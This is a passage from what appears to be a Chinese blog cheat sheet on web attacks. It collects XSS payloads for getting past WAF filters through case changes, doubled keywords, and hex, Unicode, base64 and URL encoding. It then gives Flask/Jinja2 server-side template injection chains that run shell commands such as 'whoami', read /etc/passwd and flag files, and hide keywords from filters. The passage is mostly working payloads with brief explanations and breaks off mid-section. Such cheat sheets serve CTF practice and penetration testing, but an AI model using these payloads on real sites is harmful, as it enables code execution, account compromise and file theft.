<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="_2075"></a>其它</h5>
<h6><a id="expression_2077"></a>expression属性</h6>
<pre data-index="94" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img style<span class="token operator">=</span><span class="token string">"xss:expression(alert('xss''))"</span><span class="token operator">></span> <span class="token comment">// IE7以下</span>
<span class="token operator"><</span>div style<span class="token operator">=</span><span class="token string">"color:rgb(''�x:expression(alert(1))"</span><span class="token operator">></span><span class="token operator"><</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token comment">//IE7以下</span>
<span class="token operator"><</span>style<span class="token operator">></span>#test<span class="token punctuation">{<!-- --></span><span class="token literal-property property">x</span><span class="token operator">:</span><span class="token function">expression</span><span class="token punctuation">(</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">XSS</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token operator"><</span><span class="token operator">/</span>style<span class="token operator">></span> <span class="token comment">// IE7以下</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h6><a id="background_2085"></a>background属性</h6>
<pre data-index="95" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>table background<span class="token operator">=</span>javascript<span class="token operator">:</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">></span><span class="token operator"><</span><span class="token operator">/</span>table<span class="token operator">></span> <span class="token comment">//在Opera 10.5和IE6上有效</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h3><a name="t144"></a><a id="_2091"></a>有过滤的情况下</h3>
<h4><a name="t145"></a><a id="_2093"></a>过滤空格</h4>
<p>用<code>/</code>代替空格</p>
<pre data-index="96" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img<span class="token operator">/</span>src<span class="token operator">=</span><span class="token string">"x"</span><span class="token operator">/</span>onerror<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h4><a name="t146"></a><a id="_2101"></a>过滤关键字</h4>
<h5><a id="_2103"></a>大小写绕过</h5>
<pre data-index="97" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>ImG sRc<span class="token operator">=</span>x onerRor<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="_2109"></a>双写关键字</h5>
<p>有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过</p>
<pre data-index="98" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>imimgg srsrcc<span class="token operator">=</span>x onerror<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"xss"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="_2117"></a>字符拼接</h5>
<p>利用eval</p>
<pre data-index="99" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span><span class="token string">"a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>利用top</p>
<pre data-index="100" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>script<span class="token operator">></span>top<span class="token punctuation">[</span><span class="token string">"al"</span><span class="token operator">+</span><span class="token string">"ert"</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">xss</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator"><</span><span class="token operator">/</span>script<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="_2131"></a>其它字符混淆</h5>
<p>有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了。下面举几个简单的例子:</p>
<pre data-index="101" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<h5><a id="_2142"></a>编码绕过</h5>
<p>Unicode编码绕过</p>
<pre data-index="102" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span><span class="token string">"&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"</span><span class="token operator">></span>
<span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span><span class="token string">"eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<p>url编码绕过</p>
<pre data-index="103" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span><span class="token string">"eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"</span><span class="token operator">></span>
<span class="token operator"><</span>iframe src<span class="token operator">=</span><span class="token string">"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"</span><span class="token operator">></span><span class="token operator"><</span><span class="token operator">/</span>iframe<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<p>ascii码绕过</p>
<pre data-index="104" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span><span class="token string">"eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>hex绕过</p>
<pre data-index="105" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span>x onerror<span class="token operator">=</span><span class="token function">eval</span><span class="token punctuation">(</span><span class="token string">'\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29'</span><span class="token punctuation">)</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>八进制</p>
<pre data-index="106" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span>x onerror<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'\170\163\163'</span><span class="token punctuation">)</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>base64绕过</p>
<pre data-index="107" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span><span class="token string">"eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"</span><span class="token operator">></span>
<span class="token operator"><</span>iframe src<span class="token operator">=</span><span class="token string">"data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h4><a name="t147"></a><a id="_2183"></a>过滤双引号,单引号</h4>
<ol><li>如果是HTML标签中,我们可以不用引号。如果是在JavaScript中,我们可以用反引号代替单双引号</li></ol>
<pre data-index="108" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">xss</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<ol start="2"><li>使用编码绕过,具体看上面我列举的例子,我就不多赘述了</li></ol>
<h4><a name="t148"></a><a id="_2193"></a>过滤括号</h4>
<p>当括号被过滤的时候可以使用throw来绕过</p>
<pre data-index="109" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>svg<span class="token operator">/</span>onload<span class="token operator">=</span><span class="token string">"window.οnerrοr=eval;throw'=alert\x281\x29';"</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h4><a name="t149"></a><a id="url_2201"></a>过滤url地址</h4>
<h5><a id="url_2203"></a>使用url编码</h5>
<pre data-index="110" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span>document<span class="token punctuation">.</span>location<span class="token operator">=</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/</span><span class="token template-punctuation string">`</span></span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="IP_2209"></a>使用IP</h5>
<ol><li>十进制IP</li></ol>
<pre data-index="111" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span>document<span class="token punctuation">.</span>location<span class="token operator">=</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">http://2130706433/</span><span class="token template-punctuation string">`</span></span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<ol start="2"><li>八进制IP</li></ol>
<pre data-index="112" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span>document<span class="token punctuation">.</span>location<span class="token operator">=</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">http://0177.0.0.01/</span><span class="token template-punctuation string">`</span></span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<ol start="3"><li>hex</li></ol>
<pre data-index="113" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span>document<span class="token punctuation">.</span>location<span class="token operator">=</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">http://0x7f.0x0.0x0.0x1/</span><span class="token template-punctuation string">`</span></span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<ol start="4"><li>html标签中用<code>//</code>可以代替<code>http://</code></li></ol>
<pre data-index="114" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span>document<span class="token punctuation">.</span>location<span class="token operator">=</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">//www.baidu.com</span><span class="token template-punctuation string">`</span></span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<ol start="5"><li>使用<code>\\</code></li></ol>
<p>在<span class="words-blog hl-git-1" data-report-view="{"spm":"1001.2101.3001.10283","extra":"{\"words\":\"windows\"}"}" data-tit="windows" data-pretit="windows">windows</span>下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议</p>
<ol start="6"><li>使用中文逗号代替英文逗号:如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号</li></ol>
<pre data-index="115" class="set-code-show prettyprint"><code class="prism language-javascript has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token operator"><</span>img src<span class="token operator">=</span><span class="token string">"x"</span> onerror<span class="token operator">=</span><span class="token string">"document.location=`http://www。baidu。com`"</span><span class="token operator">></span><span class="token comment">//会自动跳转到百度</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h2><a name="t150"></a><a id="SSTI_2245"></a>SSTI</h2>
<h3><a name="t151"></a><a id="_2247"></a>模板和对应利用方法</h3>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/3b4f457adbf9d3a072a7575373c6f1b6.png" alt=""></p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/a7826bc224c1c188dcd9460547faca91.png" alt=""></p>
<h3><a name="t152"></a><a id="_2253"></a>基础</h3>
<pre data-index="116" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{<!-- -->{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。
此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{<!-- -->{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {<!-- -->{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值
dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li><li style="color: rgb(153, 153, 153);">27</li><li style="color: rgb(153, 153, 153);">28</li><li style="color: rgb(153, 153, 153);">29</li><li style="color: rgb(153, 153, 153);">30</li></ul></pre>
<h3><a name="t153"></a><a id="_2288"></a>利用和绕过</h3>
<h4><a name="t154"></a><a id="_2290"></a>正常无过滤</h4>
<p>使用popen方法:<code>?name={<!-- -->{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}</code></p>
<h4><a name="t155"></a><a id="_2294"></a>过滤了.</h4>
<p>使用访问字典的形式来获取函数或者类</p>
<pre data-index="117" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{().__class__}}
{<!-- -->{()["__class__"]}}
{<!-- -->{()|attr("__class__")}}
{<!-- -->{getattr('',"__class__")}}
{<!-- -->{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
{<!-- -->{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<h4><a name="t156"></a><a id="__2307"></a>过滤_</h4>
<p>利用<code>request.args.<param></code>绕:<code>/?exploit={<!-- -->{request[request.args.pa]}}&pa=**class**</code></p>
<h4><a name="t157"></a><a id="requestrequest_2311"></a>过滤’request[request.’</h4>
<p>绕过原理:<code>request | attr(request.args.a)等价于request["a"]</code>:<code>?exploit={<!-- -->{request|attr(request.args.pa)}}&pa=**class**</code></p>
<h4><a name="t158"></a><a id="request_2315"></a>过滤了单双引号(request绕过)</h4>
<p>flask中存在着<code>request</code>内置对象可以得到请求的信息,<code>request</code>可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过</p>
<blockquote>
<p>request.args.name<br> request.cookies.name<br> request.headers.name<br> request.values.name<br> request.form.name</p>
</blockquote>
<pre data-index="118" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
{<!-- -->{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
{<!-- -->{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h4><a name="t159"></a><a id="_2333"></a>过滤关键字</h4>
<h5><a id="_2335"></a>常规拼接</h5>
<pre data-index="119" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
{<!-- -->{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<h5><a id="_2346"></a>+拼接</h5>
<pre data-index="120" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt').read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h5><a id="1_2354"></a>[::-1]取反绕过</h5>
<pre data-index="121" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{<!-- -->{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="join_2360"></a>用join拼接</h5>
<pre data-index="122" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="str_2366"></a>使用str原生函数替代</h5>
<pre data-index="123" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="ascii_2372"></a>ascii转换</h5>
<pre data-index="124" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h5><a id="16_2379"></a>16进制编码</h5>
<pre data-index="125" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h5><a id="unicode_2387"></a>unicode编码</h5>
<pre data-index="126" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
